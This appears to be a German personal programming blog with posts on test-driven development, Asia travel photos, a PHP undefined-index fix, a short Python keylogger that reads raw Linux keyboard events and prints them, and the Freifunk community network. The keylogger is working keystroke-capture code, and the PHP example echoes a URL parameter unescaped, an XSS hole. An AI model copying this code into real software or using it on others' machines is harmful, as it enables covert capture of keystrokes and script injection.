by:

Nachdem ich jetzt 2 Coding Dojos zum Thema Test Driven Development besucht habe, dachte ich, es ist mal an der Zeit auch meinen Senf dazu zu geben.

Was ich positives aus TDD für mich extrahiert habe:
TDD ist der Versuch die Programmierer dazu zu bewegen vor der Implementierung sehr konkret über die Spezifikationen sowie nötigen Schritte nachzudenken.
Gut das klingt mal super, allerdings auf den ersten Blick wirkt das ganze dann schon sehr eigenartig:

Wie funktioniert Test Driven Development ?

Eine Iteration in TDD sollte folgendermaßen ausschauen (aus wikipedia)

1.) Schreibe Tests für das erwünschte fehlerfreie Verhalten, für schon bekannte Fehlschläge oder für das nächste Teilstück an Funktionalität, das neu implementiert werden soll. Diese Tests werden vom bestehenden Programmcode erst einmal nicht erfüllt bzw. es gibt diesen noch gar nicht.

 

2.) Ändere/schreibe den Programmcode mit möglichst wenig Aufwand, bis nach dem anschließend angestoßenen Testdurchlauf alle Tests bestanden werden.

 

3.) Räume dann im Code auf (Refactoring): Entferne Wiederholungen (Code-Duplizierung), abstrahiere wo nötig, richte ihn nach den verbindlichen Code-Konventionen aus etc. Natürlich wieder mit abschließendem Testen. Ziel des Aufräumens ist es, den Code schlicht und verständlich zu machen.

Moment. What ???

Man schreibt also erst den Test, für eine Methode die noch gar nicht existiert und programmiert sie dann mit möglichst wenig Aufwand ... 

Ich hab mir persönlich schon schwer genug getan von der prozedualen Programmierung (top down Ansatz) zur objektorientierten Programmierung und jetzt soll ich auch noch Tests schreiben für Methoden die noch nicht existieren ?

Was spricht für Test Driven Development ?

Man wird "gezwungen" sich schon vorher sehr genaue Gedanken über seine Implementierung zu machen!

Das Ziel, am Ende SourceCode zu haben, der möglichst schlank programmiert und getestet ist, halte ich doch für etwas hochgegriffen, werde das aber gerne bei eigenen Projekten ausprobieren um mich vom Gegenteil überzeugen lassen.

Was spricht gegen Test Driven Development ?

Es ist ein Mehraufwand, ein Mehraufwand der sich erst nach einer gewissen Anzahl von Testdurchläufen rentieren kann.
Wie oft das ist und wann der Return Point of Investment ist, dass überlasse ich dann doch lieber Leuten die auf eine andere Art geistige Wunder vollbringen.

Im wesentlichen bedeutet dies für viele Programmierer ein komplettes Umdenken, was schwierig wird wenn man an die Adaption denkt, schließlich macht TDD auch nur dann Sinn, wenn jeder der Beteiligten an einem Projekt mitmacht.

Test ist vieleicht in dem Zusammenhang auch der falsche Ausdruck, es ist mehr eine Mischung aus Vorlage und Test.

Wer immernoch glaubt das TDD ein unglaublicher Blödsinn ist, der sollte sich mal die Videos von makandra anschauen
http://www.makandra.de/malennachzahlen/kurs/
Ansonsten Wikipedia ist natürlich auch immer eine Quelle
http://de.wikipedia.org/wiki/Testgetriebene_Entwicklung

Liebe Grüße

Andreas


Kommentare

by:

Hier ein paar Bilder der letzten Jahren aus Indien (2010), Vietnam (2011) und China (2012)

  • /images/asia/0.jpg
  • /images/asia/1.jpg
  • /images/asia/2.jpg
  • /images/asia/3.jpg
  • /images/asia/4.jpg
  • /images/asia/5.jpg
  • /images/asia/6.jpg
  • /images/asia/7.jpg
  • /images/asia/8.jpg
  • /images/asia/9.jpg
  • /images/asia/10.jpg
  • /images/asia/11.jpg
  • /images/asia/12.jpg
  • /images/asia/13.jpg
  • /images/asia/14.jpg
  • /images/asia/15.jpg
  • /images/asia/16.jpg
  • /images/asia/17.jpg
  • /images/asia/18.jpg
  • /images/asia/19.jpg
  • /images/asia/20.jpg
  • /images/asia/21.jpg
  • /images/asia/22.jpg
  • /images/asia/23.jpg
  • /images/asia/24.jpg
  • /images/asia/25.jpg
  • /images/asia/26.jpg
  • /images/asia/27.jpg
  • /images/asia/28.jpg
  • /images/asia/29.jpg
  • /images/asia/30.jpg
  • /images/asia/31.jpg
  • /images/asia/32.jpg
  • /images/asia/33.jpg
  • /images/asia/34.jpg
  • /images/asia/35.jpg
  • /images/asia/36.jpg
  • /images/asia/37.jpg
  • /images/asia/38.jpg
  • /images/asia/39.jpg
  • /images/asia/40.jpg
  • /images/asia/41.jpg
  • /images/asia/42.jpg
  • /images/asia/43.jpg
  • /images/asia/44.jpg
  • /images/asia/45.jpg
  • /images/asia/46.jpg
  • /images/asia/47.jpg
  • /images/asia/48.jpg
  • /images/asia/49.jpg
  • /images/asia/50.jpg
  • /images/asia/51.jpg
  • /images/asia/52.jpg
  • /images/asia/53.jpg
  • /images/asia/54.jpg
  • /images/asia/55.jpg
  • /images/asia/56.jpg
  • /images/asia/57.jpg
  • /images/asia/58.jpg
  • /images/asia/59.jpg
  • /images/asia/60.jpg

Kommentare

by:

Dieser Fehler ist eigentlich nur eine Warnung, findet man in der PHP Welt aber immernoch erstaunlich oft.

Ursache ist, das PHP versucht auf einen index zuzugreifen, der vorher nicht definiert wurde.

Beispiel

Code
<?php
$name 
$_GET['name'];
if ( 
$name != "")
{
   echo 
$name;
}
?>

Dieses Beispiel würde ein Notice Meldung verursachen, das der index 'name' vorher nicht deklariert wurde.

Lösung

Code
<?php
$name 
= (isset($_GET['name']) ? $_GET['name'] : "");
if ( 
$name != "")
{
   echo 
$name;
}
?>

Bei der Lösung überprüfen wir nun ob der index 'name' existiert, wenn nicht weisen wir der Variabel $name einfach ein leeren String zu.

Eine andere möglichkeit wäre das error reporting einfach zurück zu stellen, wovon ich aber eher abraten würde !

error_reporting(E_ALL ^ E_NOTICE);


Hoffe ich konnte mit der Erkärung einigen von euch helfen.

lg
Andreas


Kommentare

by:

Als Beispiel dient ein eher minimalistischer Keylogger in Python, den ich vor einigen Jahren für ein Spiel geschrieben habe. Derzeit kann er a-z, Leertaste und Enter unterscheiden. Eine Erweiterung um z.b. die Pfeiltasen abzugreifen kann man recht leicht erreichen, einfach nur die Variabel action ausgeben und eine neue if condition hinzufügen.
Damit das Script funktioniert, muss man bei der Variabel pipe den richtigen Pfad angeben und ausserdem sollte das Script mit Lese-Rechte auf die Datei ausgestattet sein (zu not tuts auch root).

import sys
pipe = open("/dev/input/by-path/platform-i8042-serio-0-event-kbd","r")
action = []

mapping = {'1E' : "a", '30' : 'b', '2E' : 'c', '20' : 'd', '12' : 'e',
           '21' : 'f', '22' : 'g', '23' : 'h', '17' : 'i', '24' : 'j',
           '25' : 'k', '26' : 'l', '32' : 'm', '31' : 'n', '18' : 'o',
           '19' : 'p', '10' : 'q', '13' : 'r', '1F' : 's', '14' : 't',
           '16' : 'u', '2F' : 'v', '11' : 'w', '2D' : 'x', '2C' : 'y',
           '15' : 'z', '39' : ' ', '1C' : '\n'
          }

while 1:
  for character in pipe.read(1):
    action += ['%02X' % ord(character)]
    if len(action) == 8:
      if action[2] in mapping and action[4] == '01':
        sys.stdout.write (mapping[action[2]])

      sys.stdout.flush()

      action = []

Das Script kann z.b. nützlich sein um die Steuerung von Joysticks auszulesen, für die es keine Linux treiber gibt.

Update

Habe das Script nochmal etwas übersichtlicher gestalltet, danke für den Hinweis ;)

lg

Andreas


Kommentare

by:

Vorab ich betreibe selbst seit einigen Jahren einen Funkfeuerknoten über den Dächern von Wien und möchte mit diesem Beitrag einen kurzen Überblick darüber geben, was Freifunk ist und wieso man es unterstützen sollte.

Was ist Freifunk ?

Freifunker sind eine Gemeinschaft die es sich u.a. zum Ziel gemacht haben, Internet und andere Dienste ( wie Radio, Voice over IP, etc.) für jedem Menschen zugänglich zu machen. Technisch gesehen erweitert jeder Teilnehmer auch die Reichweite und Verfügbarkeit des gesamten (Mesh) Netzes.
Siehe dazu auch:
http://de.wikipedia.org/wiki/Freies_Funknetz
 

Wie kann ich mitmachen ?

Im wesentlichen reicht ein handelsüblicher Wlan Router, dieser muss mit einer speziellen Software ausgestattet werden (der Freifunk Firmware). Um eine bessere Verbindung zu deinen Nachbarn aufzubauen, ist es von Vorteil eine sogenannte Richtfunkantenne zu verwenden.
Zum Beispiel erreicht so meine Wlan Verbindung über den Dächern von Wien eine Reichweite von bis zu 12 km.
 

Was kostet das ganze ?

Ein Wlan Router der die Freifunk Firmware unterstützt fängt bei ca 30 ? an, eine Richtfunkantenne ist ebenfalls ab 30 ? zu haben.
Am besten du erkundigst dich vor dem Kauf bei deiner lokalen Freifunk Gemeinde.
 

Wo kann ich mitmachen ?

Die einfachste Variante ist, du gehst zu einem der regelmäßigen Treffen in deiner Umgebung und / oder schaust im Internet:

Deutschland: http://freifunk.net
Österreich: http://www.funkfeuer.at
Schweiz: http://www.openwireless.ch

Rechtliche Aspekte:

In Deutschland wird gerade die Störerhaftung heiss diskutiert, insbesondere da dies das vermeintliche Aus für Freifunk bedeuten könnte...
Es geht darum, dass man unter Umständen mithaftet, wenn eine frei zugängliche Wlan Verbindung von Dritten mißbraucht wird.
Siehe dazu :
http://de.wikipedia.org/wiki/Störerhaftung
http://freifunkstattangst.de/

Ich persönlich würde mich von den rechtlichen Aspekten derzeit mal nicht zu sehr abschrecken lassen, wir machen ja auch nicht den Waffenschmied für den Mord verantwortlich !

Am Ende möchte ich alle bitten, macht eure Freunde und Bekannte auf diese Projekte aufmerksam, schließt euch zusammen zu einer Gemeinschaft und gestaltet euer eigenes Netz.  


lg
Andreas


Kommentare


Seiten: